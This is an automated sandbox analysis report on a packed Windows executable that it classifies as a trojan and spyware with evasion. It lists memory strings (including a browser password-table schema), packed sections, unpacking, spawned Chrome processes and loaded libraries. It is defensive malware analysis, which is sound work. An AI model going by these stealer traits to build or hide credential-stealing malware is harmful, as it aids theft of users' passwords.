Source: file.exe, 00000000.00000003.2615130089.0000000006305000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622805922.000000000635B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2628101466.0000000006388000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616048674.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624255160.000000000636A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621584254.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616281201.00000000063E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2654598186.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618826391.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620035858.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612654624.00000000062ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624447265.000000000624D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613944743.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626976927.000000000637C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618649597.000000000632B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614039771.00000000062FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2654393984.00000000016F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620496431.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620860373.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610138609.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617751339.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610856037.00000000062E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611625397.00000000062E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611537992.0000000006250000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2628251304.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2627965006.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2654303489.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620217593.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617439591.0000000006321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610386381.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617263141.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616400933.000000000624B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611447637.00000000062EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619691372.0000000006331000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623545649.0000000006355000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617932928.0000000006317000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624805655.0000000006370000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622423900.0000000006361000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618535471.000000000624D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622595332.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615452084.00000000063CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2628792545.00000000064C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615247654.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2627823582.000000000638C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2654274119.0000000005D20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617594996.00000000063FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2625210780.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619516279.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613751186.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2628656960.0000000006383000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612765928.000000000639F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614857594.00000000063B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612555072.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614444647.00000000062F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615353156.0000000006303000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612960897.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623006875.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611713786.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616518577.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2627113777.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616639881.00000000063F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621290182.000000000624E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616167933.000000000630D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619349769.0000000006327000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610219504.00000000062DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616904500.0000000006320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621169023.0000000006436000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623725923.0000000006467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624046396.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610054477.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621841039.000000000634C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626694430.0000000006498000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609652195.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626400170.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2654414817.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2627547055.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982446598101266
Source: file.exe	Static PE information: Section: oivbtose ZLIB complexity 0.9949325284090909

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@6/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2164572148.0000000005C98000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178945838.0000000005CA0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164855680.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2424,i,884353418751019173,15853487047118889695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,7734462183592480493,604898000580889304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2424,i,884353418751019173,15853487047118889695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,7734462183592480493,604898000580889304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1866240 > 1048576

Source: file.exe

Static PE information: Raw size of oivbtose is bigger than: 0x100000 < 0x19c800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oivbtose:EW;oatpfgpn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oivbtose:EW;oatpfgpn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cf77e should be: 0x1c81dd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oivbtose
Source: file.exe	Static PE information: section name: oatpfgpn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push ecx; mov dword ptr [esp], eax	0_3_016D3C71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push ebx; mov dword ptr [esp], edi	0_3_016D3D0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push edi; mov dword ptr [esp], 5FC9B9D0h	0_3_016D3D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push edx; mov dword ptr [esp], 4FF47851h	0_3_016D3D4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push edi; mov dword ptr [esp], 00000014h	0_3_016D3D84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B671C push eax; ret	0_3_016B671D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B96CC push ds; ret	0_3_016B9701
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B9CC4 push esi; retf	0_3_016B9CC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016BC3D6 push edi; retf	0_3_016BC3E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D38BD push eax; mov dword ptr [esp], 6FFCDD68h	0_3_016D3C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push 031C903Ah; mov dword ptr [esp], edi	0_3_016D3DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push ebp; mov dword ptr [esp], esp	0_3_016D3DC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push esi; mov dword ptr [esp], 25B3E36Bh	0_3_016D3DD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push ecx; mov dword ptr [esp], edx	0_3_016D3DE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push edx; mov dword ptr [esp], ebp	0_3_016D3DFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push 58A6EC84h; mov dword ptr [esp], ebx	0_3_016D3E7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push 121632EAh; mov dword ptr [esp], ebx	0_3_016D3EB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push ecx; mov dword ptr [esp], eax	0_3_016D3C71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push ebx; mov dword ptr [esp], edi	0_3_016D3D0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push edi; mov dword ptr [esp], 5FC9B9D0h	0_3_016D3D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push edx; mov dword ptr [esp], 4FF47851h	0_3_016D3D4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3C64 push edi; mov dword ptr [esp], 00000014h	0_3_016D3D84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B671C push eax; ret	0_3_016B671D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B96CC push ds; ret	0_3_016B9701
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B9CC4 push esi; retf	0_3_016B9CC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016BC3D6 push edi; retf	0_3_016BC3E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D38BD push eax; mov dword ptr [esp], 6FFCDD68h	0_3_016D3C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push 031C903Ah; mov dword ptr [esp], edi	0_3_016D3DB9
